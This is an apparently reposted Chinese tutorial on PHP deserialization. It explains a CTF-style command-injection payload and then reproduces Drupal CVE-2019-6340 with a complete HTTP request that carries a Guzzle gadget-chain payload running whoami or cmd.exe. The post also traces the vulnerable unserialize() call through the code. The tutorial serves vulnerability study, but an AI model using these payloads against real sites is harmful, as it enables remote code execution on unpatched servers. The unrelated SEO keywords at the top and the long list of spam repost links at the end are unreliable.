巩义网站建设方式优化,网络营销推广策略包括哪些,太原网站建设杰迅科技,中山微网站建设多少钱关键词 php 反序列化 cms Drupal CVE-2019-6340 DrupalKernel
前言 简简单单介绍下php的反序列化漏洞
php反序列化漏洞简单示例
来看一段简单的php反序列化示例
?phpclass pingTest {public $ipAddress 127.0.0.1;public $isValid False;public $output…关键词 php 反序列化 cms Drupal CVE-2019-6340 DrupalKernel
前言 简简单单介绍下php的反序列化漏洞
php反序列化漏洞简单示例
来看一段简单的php反序列化示例
?phpclass pingTest {public $ipAddress 127.0.0.1;public $isValid False;public $output ;function validate() {if (!$this-isValid) {if (filter_var($this-ipAddress, FILTER_VALIDATE_IP)){$this-isValid True;}}$this-ping();}public function ping(){if ($this-isValid) {$this-output shell_exec(ping -c 3 $this-ipAddress);}}}if (isset($_POST[obj])) {$pingTest unserialize(urldecode($_POST[obj]));
} else {$pingTest new pingTest;
}$pingTest-validate();echo html
head
script src\http://secure.cereal.ctf:44441/php.js\/script
script
function submit_form() {var object serialize({ipAddress: document.forms[\ipform\].ip.value});object object.substr(object.indexOf(\{\),object.length);object \O:8:\\\pingTest\\\:1:\ object;document.forms[\ipform\].obj.value object;document.getElementById(ipform).submit();
}
/script
link relstylesheet hrefhttp://secure.cereal.ctf:44441/style.css mediaall /
titlePing Test/title
/head
body
div class\form-body\
div class\row\div class\form-holder\div class\form-content\div class\form-items\h3Ping Test/h3form method\POST\ action\/\ id\ipform\ onsubmit\submit_form();\ class\requires-validation\ novalidatediv class\col-md-12\input name\obj\ type\hidden\ value\\input class\form-control\ type\text\ name\ip\ placeholder\IP Address\ required/divbr /div class\form-button mt-3\input type\submit\ value\Ping!\br /br /textarea$pingTest-output/textarea/div/form/div/div/div
/div
/div
/body
/html;?
这里接收一个名为obj的post 参数对其进行unserialize调用反序列化后对象的validate方法不过之要isValid进行判断是true就可以执行shell_exec函数并且里面的ipAddress是拼接上去的我们可以用逻辑符造成任意命令执行。
反序列化的对象我们可以指定那么对象之中的属性值我们自然也可以指定。注意这里说的是对象的的属性值是基于类中有的。你若想加一个属性或者重写一个方法那指定不行温习下php的反序列化。
正常的用户的请求是这样的
Obj:O:8:pingTest:1:{s:9:ipAddress;s:9:127.0.0.1;}
这里的0表示的对象传参是对象后面的8是指类名长度为81表示我有一个成员属性 s:9表示字符串有9个长度(ipaddress)
xxx;xxxx 代表一个key:val
攻击payload生成
?phpclass pingTest {public $ipAddress 127.0.0.1 | id;public $isValid True;}
$obj new pingTest();
echo serialize($obj);
?
O:8:pingTest:2:{s:9:ipAddress;s:14:127.0.0.1 | id;s:7:isValid;b:1;}
如此一来就可以过if条件判断可以执行命令id了
反序列化漏洞小知识
php是一个弱类型的语言这里的弱是指什么意思呢对比下C语言和java语言在声明变量的时候必须指定变量的数据类型然而在其它一些语言上则根本不用这样做如python PHP只需有一个变量名就可以存任意数据类型的参数这点我很不喜欢太不规范了我想这也是照成与漏洞的原因吧
回到PHP反序列化为什么我要说这个机制呢因为实际中非ctf都是对象中存储对象(像上面的$isValid只能存bool类型的值吗 当然不string int 甚至是一个对象它都可以存储)对象又再次存储对象呢。由此可能造成一条反序列化链。
此外还有属于PHP反序列化的魔术方法这也很好理解。要在对对象建立后优先执行一些代码如初始化之类的执行方法前去执行一些代码对象用完后执行一些代码如销毁。这就是一个切面编程的思想哈哈哈不知道它们谁先出现也许程序员心有灵犀。其中魔术方法会根据对象里的属性值去执行某种逻辑或是判断或是调用。这里如果没有严格过滤就有可能照成一条倒是命令执行利用链。
Drupalcms——CVE-2019-6340漏洞复现
版本影响Drupal 8.5.x before 8.5.11 and Drupal 8.6.x before 8.6.10 V contain certain field types that do not properly sanitize data from non-form sources, which can lead to arbitrary PHP code execution in some cases.
https://www.drupal.org/sa-core-2019-003https://www.drupal.org/sa-core-2019-003
根据漏洞影响版本我们下载8.6.9
https://www.drupal.org/project/drupal/releases/8.6.9https://www.drupal.org/project/drupal/releases/8.6.9
安装cms 安装完成后打开主页面 来到扩展 将web services 的所有扩展打开 payload 测试
POST /drupal-8.6.9/node/?_formathal_json HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
Content-Length: 642
Content-Type: application/haljson
Accept-Encoding: gzip{link: [{value: link,options: O:24:\GuzzleHttp\\Psr7\\FnStream\:2:{s:33:\\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\;a:1:{s:5:\close\;a:2:{i:0;O:23:\GuzzleHttp\\HandlerStack\:3:{s:32:\\u0000GuzzleHttp\\HandlerStack\u0000handler\;s:6:\whoami\;s:30:\\u0000GuzzleHttp\\HandlerStack\u0000stack\;a:1:{i:0;a:1:{i:0;s:6:\system\;}}s:31:\\u0000GuzzleHttp\\HandlerStack\u0000cached\;b:0;}i:1;s:7:\resolve\;}}s:9:\_fn_close\;a:2:{i:0;r:4;i:1;s:7:\resolve\;}}}],_links: {type: {href:http://127.0.0.1/drupal-8.6.9/rest/type/shortcut/default}}
} 注意了options的内容为php序列化的内容所以s:6:whoamis表示string参数类型6表是长度为6,whoami就是我们执行的命令了改成其他的命令记得把长度写发生响应的改变。 结果显示whoami已经执行权限是system的权限这也是windows搭建web的弊端了
CVE-2019-6340代码调试分析
打开index.php
?php/*** file* The PHP page that serves all page requests on a Drupal installation.** All Drupal code is released under the GNU General Public License.* See COPYRIGHT.txt and LICENSE.txt files in the core directory.*/use Drupal\Core\DrupalKernel;
//DrupalKernel 类是 Drupal 的核心引导类负责初始化和管理整个 Drupal 应用程序的生命周期。
use Symfony\Component\HttpFoundation\Request;
//Symfony\Component\HttpFoundation\Request 类是 Symfony 框架中的一个组件用于处理和封装 HTTP 请求。
$autoloader require_once autoload.php;
$kernel new DrupalKernel(prod, $autoloader);
// 加载 Drupal 的自动加载器和内核。
//$autoloader 是自动加载器对象用于自动加载应用程序中的类文件$request Request::createFromGlobals();
// 创建一个新的 HTTP 请求对象。
//这个方法会自动获取当前请求的各种信息如请求方法、URL、头部信息等并将其封装在一个 Request 对象中$response $kernel-handle($request);
// 处理请求并获取响应对象。
//调用了 Drupal 内核对象的 handle() 方法用于处理当前请求并生成一个响应对象。这个过程包括路由匹配、控制器调用、模板渲染等操作具体实现方式可以参考 Drupal 的路由和控制器系统。$response-send();
// 将响应内容发送给客户端。$kernel-terminate($request, $response);
// 结束请求处理过程清理资源。
打上断点 进入$response $kernel-handle($request); public function handle(Request $request, $type self::MASTER_REQUEST, $catch TRUE) {// Ensure sane PHP environment variables.static::bootEnvironment();//调用 bootEnvironment() 方法来确保 PHP 环境变量的正确性。try {$this-initializeSettings($request);//尝试初始化设置initializeSettings。// Redirect the user to the installation script if Drupal has not been// installed yet (i.e., if no $databases array has been defined in the// settings.php file) and we are not already installing.if (!Database::getConnectionInfo() !drupal_installation_attempted() PHP_SAPI ! cli) {$response new RedirectResponse($request-getBasePath() . /core/install.php, 302, [Cache-Control no-cache]);}//如果数据库连接信息不存在且没有进行 Drupal 安装尝试并且不是在命令行环境下运行则重定向用户到安装脚本install.phpelse {//否则调用 boot() 方法进行启动并调用 $this-getHttpKernel()-handle($request, $type, $catch) 处理请求$this-boot();$response $this-getHttpKernel()-handle($request, $type, $catch);//断点进入}}catch (\Exception $e) {if ($catch FALSE) {throw $e;}$response $this-handleException($e, $request, $type);}// Adapt response headers to the current request.$response-prepare($request);return $response;}
中间省略......... 咱们直接来到
REST API request.部分
/*** Handles a REST API request.** param \Drupal\Core\Routing\RouteMatchInterface $route_match* The route match.* param \Symfony\Component\HttpFoundation\Request $request* The HTTP request object.* param \Drupal\rest\RestResourceConfigInterface $_rest_resource_config* The REST resource config entity.** return \Drupal\rest\ResourceResponseInterface|\Symfony\Component\HttpFoundation\Response* The REST resource response.*/
public function handle(RouteMatchInterface $route_match, Request $request, RestResourceConfigInterface $_rest_resource_config) {$resource $_rest_resource_config-getResourcePlugin();$unserialized $this-deserialize($route_match, $request, $resource);//开始反序列化了打上断点进入调试$response $this-delegateToRestResourcePlugin($route_match, $request, $unserialized, $resource);return $this-prepareResponse($response, $_rest_resource_config);
}
该方法是 Drupal REST API 模块的请求处理程序。它接收三个参数RouteMatchInterface $route_match 表示当前路由匹配的对象Request $request 表示当前 HTTP 请求对象RestResourceConfigInterface $_rest_resource_config 表示当前的 REST 资源配置实体。
具体逻辑如下 首先从 $rest_resource_config 中获取相应的资源插件resource plugin。 然后使用 $this-deserialize() 方法对请求中的数据进行反序列化并将结果保存在 $unserialized 变量中。 接下来调用 $this-delegateToRestResourcePlugin() 方法委托给资源插件进行进一步的处理并将结果保存在 $response 变量中。 最后使用 $this-prepareResponse() 方法对响应进行处理和准备并将其返回。
需要注意的是该方法中的 $this-deserialize()、$this-delegateToRestResourcePlugin() 和 $this-prepareResponse() 方法并未在该代码片段中定义它们可能是该类的其他成员方法或从其他地方引入的依赖项。
总体上该方法的作用是将 HTTP 请求委托给指定的 REST 资源插件进行处理并返回处理后的响应。
进入deserialize函数
protected function deserialize(RouteMatchInterface $route_match, Request $request, ResourceInterface $resource) {// Deserialize incoming data if available.$received $request-getContent();
//首先从请求对象中获取请求的内容并将其保存在 $received 变量中,这个变量可控$unserialized NULL;if (!empty($received)) {//获取规范化的请求方法和请求内容类型。$method static::getNormalizedRequestMethod($route_match);$format $request-getContentType();//得到参数的方法 重点分析一下//从资源插件定义中获取相关信息。$definition $resource-getPluginDefinition();// First decode the request data. We can then determine if the// serialized data was malformed.try {$unserialized $this-serializer-decode($received, $format, [request_method $method]);//断点进入}catch (UnexpectedValueException $e) {// If an exception was thrown at this stage, there was a problem// decoding the data. Throw a 400 http exception.throw new BadRequestHttpException($e-getMessage());}// Then attempt to denormalize if there is a serialization class.if (!empty($definition[serialization_class])) {try {$unserialized $this-serializer-denormalize($unserialized, $definition[serialization_class], $format, [request_method $method]);//断点分析}// These two serialization exception types mean there was a problem// with the structure of the decoded data and its not valid.catch (UnexpectedValueException $e) {throw new UnprocessableEntityHttpException($e-getMessage());}catch (InvalidArgumentException $e) {throw new UnprocessableEntityHttpException($e-getMessage());}}}return $unserialized;
}
......
进入decodingImpl的decode方法
public function decode($data, $format, array $context array())
{// 解析上下文参数$context $this-resolveContext($context);// 从上下文中获取 JSON 解码时的相关参数$associative $context[json_decode_associative];$recursionDepth $context[json_decode_recursion_depth];$options $context[json_decode_options];// 使用 json_decode 函数对数据进行解码$decodedData json_decode($data, $associative, $recursionDepth, $options);
/*将 $associative 参数设置为 true。这意味着解码结果将被转换为关联数组而不是对象
限制递归深度512
$options 参数来设置 JSON 解码选项
*/// 检查解码过程中是否出现错误if (JSON_ERROR_NONE ! json_last_error()) {throw new NotEncodableValueException(json_last_error_msg());}// 返回解码后的数据return $decodedData;
}
.....
denormalize方法调入
//这段代码是Symfony框架的DenormalizerInterface接口方法denormalize()的实现。
public function denormalize($data, $type, $format null, array $context array())
{// 检查是否已注册至少一个normalizerif (!$this-normalizers) {throw new LogicException(You must register at least one normalizer to be able to denormalize objects.);}if ($normalizer $this-getDenormalizer($data, $type, $format, $context)) {// 调用normalizer的denormalize方法进行反序列化操作return $normalizer-denormalize($data, $type, $format, $context);//断点调试}throw new NotNormalizableValueException(sprintf(Could not denormalize object of type %s, no supporting normalizer found., $type));
}
进入
public function denormalize($data, $class, $format NULL, array $context []) {// Get type, necessary for determining which bundle to create.if (!isset($data[_links][type])) {throw new UnexpectedValueException(The type link relation must be specified.);}// Create the entity.$typed_data_ids $this-getTypedDataIds($data[_links][type], $context);//断点分析 需要重点关注一下$entity_type $this-getEntityTypeDefinition($typed_data_ids[entity_type]);$default_langcode_key $entity_type-getKey(default_langcode);$langcode_key $entity_type-getKey(langcode);$values [];// Figure out the language to use.if (isset($data[$default_langcode_key])) {// Find the field item for which the default_langcode value is set to 1 and// set the langcode the right default language.foreach ($data[$default_langcode_key] as $item) {if (!empty($item[value]) isset($item[lang])) {$values[$langcode_key] $item[lang];break;}}// Remove the default langcode so it does not get iterated over below.unset($data[$default_langcode_key]);}if ($entity_type-hasKey(bundle)) {$bundle_key $entity_type-getKey(bundle);$values[$bundle_key] $typed_data_ids[bundle];// Unset the bundle key from data, if its there.unset($data[$bundle_key]);}$entity $this-entityManager-getStorage($typed_data_ids[entity_type])-create($values);// Remove links from data array.unset($data[_links]);// Get embedded resources and remove from data array.$embedded [];if (isset($data[_embedded])) {$embedded $data[_embedded];unset($data[_embedded]);}// Flatten the embedded values.foreach ($embedded as $relation $field) {$field_ids $this-linkManager-getRelationInternalIds($relation);if (!empty($field_ids)) {$field_name $field_ids[field_name];$data[$field_name] $field;}}$this-denormalizeFieldData($data, $entity, $format, $context);//断点进入// Pass the names of the fields whose values can be merged.// todo https://www.drupal.org/node/2456257 remove this.$entity-_restSubmittedFields array_keys($data);return $entity;
}
.......
public function denormalize($data, $class, $format NULL, array $context []) {if (!isset($context[target_instance])) {throw new InvalidArgumentException($context[\target_instance\] must be set to denormalize with the FieldItemNormalizer);}if ($context[target_instance]-getParent() NULL) {throw new InvalidArgumentException(The field item passed in via $context[\target_instance\] must have a parent set.);}$field_item $context[target_instance];// If this field is translatable, we need to create a translated instance.if (isset($data[lang])) {$langcode $data[lang];unset($data[lang]);$field_definition $field_item-getFieldDefinition();if ($field_definition-isTranslatable()) {$field_item $this-createTranslatedInstance($field_item, $langcode);}}$field_item-setValue($this-constructValue($data, $context));return $field_item;
}
到setValue
public function setValue($values, $notify TRUE) {// Treat the values as property value of the main property, if no array is// given.if (isset($values) !is_array($values)) {$values [static::mainPropertyName() $values];}if (isset($values)) {$values [options [],];}// Unserialize the values.// todo The storage controller should take care of this, see// SqlContentEntityStorage::loadFieldItems, see// https://www.drupal.org/node/2414835if (is_string($values[options])) {$values[options] unserialize($values[options]);//漏洞触发点}parent::setValue($values, $notify);
}
至此终于找到漏洞促发点了 options为可控变量对其进行unserialize 已经是反序列化漏洞形成的前提了现在我们只需找出这在个cms库中存在的一条反序列化漏洞链就可以rce了
Guzzle库的序列化漏洞利用链
利用Drupal自带的Guzzle库
分析FnStream 类 与 HandlerStack类
class FnStream implements StreamInterface
{/** var array */private $methods;/** var array Methods that must be implemented in the given array */private static $slots [__toString, close, detach, rewind,getSize, tell, eof, isSeekable, seek, isWritable, write,isReadable, read, getContents, getMetadata];/*** param array $methods Hash of method name to a callable.*/public function __construct(array $methods){$this-methods $methods;// Create the functions on the classforeach ($methods as $name $fn) {$this-{_fn_ . $name} $fn;}}/*** Lazily determine which methods are not implemented.* throws \BadMethodCallException*/public function __get($name){throw new \BadMethodCallException(str_replace(_fn_, , $name). () is not implemented in the FnStream);}/*** The close method is called on the underlying stream only if possible.*/public function __destruct(){if (isset($this-_fn_close)) {call_user_func($this-_fn_close);//反序列化可触发这个类}//call_user_func(resolve) 调用function}/*** Adds custom functionality to an underlying stream by intercepting* specific method calls.** param StreamInterface $stream Stream to decorate* param array $methods Hash of method name to a closure** return FnStream*/public static function decorate(StreamInterface $stream, array $methods){// If any of the required methods were not provided, then simply// proxy to the decorated stream.foreach (array_diff(self::$slots, array_keys($methods)) as $diff) {$methods[$diff] [$stream, $diff];}return new self($methods);}public function __toString(){return call_user_func($this-_fn___toString);}public function close(){return call_user_func($this-_fn_close);}public function detach(){return call_user_func($this-_fn_detach);}public function getSize(){return call_user_func($this-_fn_getSize);}public function tell(){return call_user_func($this-_fn_tell);}public function eof(){return call_user_func($this-_fn_eof);}public function isSeekable(){return call_user_func($this-_fn_isSeekable);}public function rewind(){call_user_func($this-_fn_rewind);}public function seek($offset, $whence SEEK_SET){call_user_func($this-_fn_seek, $offset, $whence);}public function isWritable(){return call_user_func($this-_fn_isWritable);}public function write($string){return call_user_func($this-_fn_write, $string);}public function isReadable(){return call_user_func($this-_fn_isReadable);}public function read($length){return call_user_func($this-_fn_read, $length);}public function getContents(){return call_user_func($this-_fn_getContents);}public function getMetadata($key null){return call_user_func($this-_fn_getMetadata, $key);}
}
class HandlerStack
{/** var callable */private $handler;/** var array */private $stack [];/** var callable|null */private $cached;..../*** param callable $handler Underlying HTTP handler.*/public function __construct(callable $handler null){$this-handler $handler;}/*** Invokes the handler stack as a composed handler** param RequestInterface $request* param array $options*/public function __invoke(RequestInterface $request, array $options){$handler $this-resolve();return $handler($request, $options);}........./*** Compose the middleware and handler into a single callable function.** return callable*/public function resolve(){if (!$this-cached) {if (!($prev $this-handler)) {throw new \LogicException(No handler has been specified);}foreach (array_reverse($this-stack) as $fn) {$prev $fn[0]($prev);}$this-cached $prev;}return $this-cached;}
......若$fn[0]为system $prev 也可控则攻击链成立 O:24:GuzzleHttp\Psr7\FnStream:2:{s:33:\u0000GuzzleHttp\Psr7\FnStream\u0000methods;a:1:{s:5:close;a:2:{i:0;O:23:GuzzleHttp\HandlerStack:3:{s:32:\u0000GuzzleHttp\HandlerStack\u0000handler;s:70:cmd.exe /c set /a 2089950217 - 1907099809expr 2089950217 - 1907099809;s:30:\u0000GuzzleHttp\HandlerStack\u0000stack;a:1:{i:0;a:1:{i:0;s:6:system;}}s:31:\u0000GuzzleHttp\HandlerStack\u0000cached;b:0;}i:1;s:7:resolve;}}s:9:_fn_close;a:2:{i:0;r:4;i:1;s:7:resolve;}} O:24:GuzzleHttp\Psr7\FnStream(类名24个长度):2(2个属性):{s:33:\u0000GuzzleHttp\Psr7\FnStream\u0000methods第一个属性为FnStream类下的methods赋值为数组;a:1(数组一个):{s:5:closekey为close;a:2value为数组属性有两个:{i:0第一个为对象;O:23:GuzzleHttp\HandlerStack:3有三个属性成员:{s:32:\u0000GuzzleHttp\HandlerStack\u0000handler第一个为handler;s:70:cmd.exe /c set /a 2089950217 - 1907099809expr 2089950217 - 1907099809;s:30:\u0000GuzzleHttp\HandlerStack\u0000stack第二个为stack是数组;a:1:{i:0;a:1:{i:0;s:6:system;}}s:31:\u0000GuzzleHttp\HandlerStack\u0000cached;b:0;}i:1;s:7第二个为字符串:resolve;}}结束s:9:fn_close第二个属性为fn_close;a:2:{i:0;r:4引用类型;i:1;s:7:resolve;}}fn_closeresolve 调用resolve方法
大致长成这个样子 如此一来在call_user_func($this-_fn_close);的时候
就会调用resolve函数 按照机制优先从本类的funtion去寻找没有找到会从引用的对象中找这就找到了methods存储的对象中的方法PHP语言为弱类型一个变量名可存任意类型的数据。于是乎来到了GuzzleHttp\HandlerStack对象下的resolve方法当然这个对象的属性也是可控的$stack为数组内有system字符串之后遍历到$fn拼接($prev) $prev有本对象的$handler赋值如此一来参数可控php反序列化恶意链成立造成命令执行。 文章转载自: http://www.morning.qhrdx.cn.gov.cn.qhrdx.cn http://www.morning.mwpcp.cn.gov.cn.mwpcp.cn http://www.morning.tqpds.cn.gov.cn.tqpds.cn http://www.morning.trplf.cn.gov.cn.trplf.cn http://www.morning.plqqp.cn.gov.cn.plqqp.cn http://www.morning.sgbjh.cn.gov.cn.sgbjh.cn http://www.morning.mcjp.cn.gov.cn.mcjp.cn http://www.morning.pxdgy.cn.gov.cn.pxdgy.cn http://www.morning.qftzk.cn.gov.cn.qftzk.cn http://www.morning.kjsft.cn.gov.cn.kjsft.cn http://www.morning.ywrt.cn.gov.cn.ywrt.cn http://www.morning.rzmlc.cn.gov.cn.rzmlc.cn http://www.morning.hwnnm.cn.gov.cn.hwnnm.cn http://www.morning.tcfhs.cn.gov.cn.tcfhs.cn http://www.morning.mnpdy.cn.gov.cn.mnpdy.cn http://www.morning.ggfdq.cn.gov.cn.ggfdq.cn http://www.morning.sfnjr.cn.gov.cn.sfnjr.cn http://www.morning.htfnz.cn.gov.cn.htfnz.cn http://www.morning.rzysq.cn.gov.cn.rzysq.cn http://www.morning.lpnb.cn.gov.cn.lpnb.cn http://www.morning.wjrtg.cn.gov.cn.wjrtg.cn http://www.morning.fqpgf.cn.gov.cn.fqpgf.cn http://www.morning.qzdxy.cn.gov.cn.qzdxy.cn http://www.morning.hkysq.cn.gov.cn.hkysq.cn http://www.morning.bxrlt.cn.gov.cn.bxrlt.cn http://www.morning.ztfzm.cn.gov.cn.ztfzm.cn http://www.morning.kqgqy.cn.gov.cn.kqgqy.cn http://www.morning.xkjrq.cn.gov.cn.xkjrq.cn http://www.morning.ffcsr.cn.gov.cn.ffcsr.cn http://www.morning.gstmn.cn.gov.cn.gstmn.cn http://www.morning.lqypx.cn.gov.cn.lqypx.cn http://www.morning.kkdbz.cn.gov.cn.kkdbz.cn http://www.morning.rtjhw.cn.gov.cn.rtjhw.cn http://www.morning.lkbkd.cn.gov.cn.lkbkd.cn http://www.morning.bdgb.cn.gov.cn.bdgb.cn http://www.morning.pjrgb.cn.gov.cn.pjrgb.cn http://www.morning.jhzct.cn.gov.cn.jhzct.cn http://www.morning.sfnr.cn.gov.cn.sfnr.cn http://www.morning.bpmfr.cn.gov.cn.bpmfr.cn http://www.morning.kzpxc.cn.gov.cn.kzpxc.cn http://www.morning.lwzgn.cn.gov.cn.lwzgn.cn http://www.morning.fgqbx.cn.gov.cn.fgqbx.cn http://www.morning.mdmxf.cn.gov.cn.mdmxf.cn http://www.morning.ldnrf.cn.gov.cn.ldnrf.cn http://www.morning.dpmkn.cn.gov.cn.dpmkn.cn http://www.morning.tqbyw.cn.gov.cn.tqbyw.cn http://www.morning.rqxhp.cn.gov.cn.rqxhp.cn http://www.morning.crrjg.cn.gov.cn.crrjg.cn http://www.morning.fjfjm.cn.gov.cn.fjfjm.cn http://www.morning.bksbx.cn.gov.cn.bksbx.cn http://www.morning.jbhhj.cn.gov.cn.jbhhj.cn http://www.morning.pdbgm.cn.gov.cn.pdbgm.cn http://www.morning.nkjjp.cn.gov.cn.nkjjp.cn http://www.morning.dbnpz.cn.gov.cn.dbnpz.cn http://www.morning.xnnxp.cn.gov.cn.xnnxp.cn http://www.morning.rkzk.cn.gov.cn.rkzk.cn http://www.morning.dmjhp.cn.gov.cn.dmjhp.cn http://www.morning.qnyf.cn.gov.cn.qnyf.cn http://www.morning.tlfmr.cn.gov.cn.tlfmr.cn http://www.morning.wnjwb.cn.gov.cn.wnjwb.cn http://www.morning.bwjgb.cn.gov.cn.bwjgb.cn http://www.morning.nthyjf.com.gov.cn.nthyjf.com http://www.morning.kdnrp.cn.gov.cn.kdnrp.cn http://www.morning.ctqbc.cn.gov.cn.ctqbc.cn http://www.morning.bgdk.cn.gov.cn.bgdk.cn http://www.morning.jbxd.cn.gov.cn.jbxd.cn http://www.morning.ryzgp.cn.gov.cn.ryzgp.cn http://www.morning.jycr.cn.gov.cn.jycr.cn http://www.morning.jcjgh.cn.gov.cn.jcjgh.cn http://www.morning.jmwrj.cn.gov.cn.jmwrj.cn http://www.morning.pswzc.cn.gov.cn.pswzc.cn http://www.morning.qnxzx.cn.gov.cn.qnxzx.cn http://www.morning.qichetc.com.gov.cn.qichetc.com http://www.morning.qhvah.cn.gov.cn.qhvah.cn http://www.morning.wschl.cn.gov.cn.wschl.cn http://www.morning.rfrxt.cn.gov.cn.rfrxt.cn http://www.morning.kflbf.cn.gov.cn.kflbf.cn http://www.morning.qpsft.cn.gov.cn.qpsft.cn http://www.morning.zcfmb.cn.gov.cn.zcfmb.cn http://www.morning.wcjk.cn.gov.cn.wcjk.cn